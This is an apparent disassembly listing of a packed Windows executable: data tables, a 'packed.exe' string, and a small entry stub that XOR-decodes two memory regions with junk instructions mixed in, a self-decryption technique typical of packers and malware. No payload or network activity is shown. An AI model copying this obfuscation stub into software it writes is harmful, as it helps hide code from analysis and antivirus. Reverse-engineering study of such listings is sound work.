dword_41EA8C	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41EA90	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EB94	db 0AFh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0CFh, 0F7h, 22h
		dd 8848C018h, 0B368C8BAh, 0C033A9h, 0
dword_41EBA8	dd 778BADEBh, 11714D53h, 0C9854DFFh, 55D567CFh,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EBBC	dd 0AD7A3AE9h		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EBC0	dd 0DB22D227h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EBC4	dd 0F7622C6Dh		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EBC8	dd 1A344D77h		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EBD0	db 0DFh			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0FCh, 0EFh, 91h
		dd 0A2928C83h, 0CEE88CD5h, 80C099CDh, 2	dup(0)
dword_41EBE8	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EBF0	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EBF4	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EBFC	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EC00	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EC04	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EC0C	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
dword_41ED10	dd 0D87B9E52h		; DATA XREF: sub_40A9CF+838r
					; sub_4167F1+118w
dword_41ED14	dd 23967CBEh		; DATA XREF: sub_4167F1+122w
dword_41ED18	dd 456AECB9h		; DATA XREF: sub_4167F1+12Cw
dword_41ED1C	dd 0B774F6E2h		; DATA XREF: sub_4167F1+136w
dword_41ED20	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41EE28	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EF28	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EFA8	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41F028	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F128	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3B5h	dup(0)
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: brattyty:003EAEC8j
		pusha
		nop
		popa
		popa
		cmp	byte ptr [edi-10h], 45h
		nop
		pusha
		jnz	near ptr 0FF618B2Bh
		push	offset sub_4167F1
		mov	eax, offset sub_401000
		nop


loc_42001B:				; CODE XREF: brattyty:00420026j
		cmp	eax, offset dword_417000
		jz	short loc_420028
		xor	byte ptr [eax],	2Dh
		inc	eax
		jmp	short loc_42001B
; ---------------------------------------------------------------------------


loc_420028:				; CODE XREF: brattyty:00420020j
		mov	eax, offset off_418000
		nop


loc_42002E:				; CODE XREF: brattyty:00420039j
		cmp	eax, offset dword_41E000
		jz	short locret_42003B
		xor	byte ptr [eax],	2Ch
		inc	eax
		jmp	short loc_42002E
; ---------------------------------------------------------------------------

locret_42003B:				; CODE XREF: brattyty:00420033j
		retn
; ---------------------------------------------------------------------------
		dd 0E20h dup(0)
		db 2 dup(0)
word_4238BE	dw 0			; CODE XREF: brattyty:00418D29j
		dd 6E0h	dup(0)
dword_425440	dd 4Fh dup(0)		; CODE XREF: brattyty:00418C51j
dword_42557C	dd 2AB8h dup(0)		; CODE XREF: brattyty:00418D8Dj
dword_43005C	dd 1C54h dup(0)		; DATA XREF: brattyty:0041A720o
		db 3 dup(0)
brattyty	ends


		end start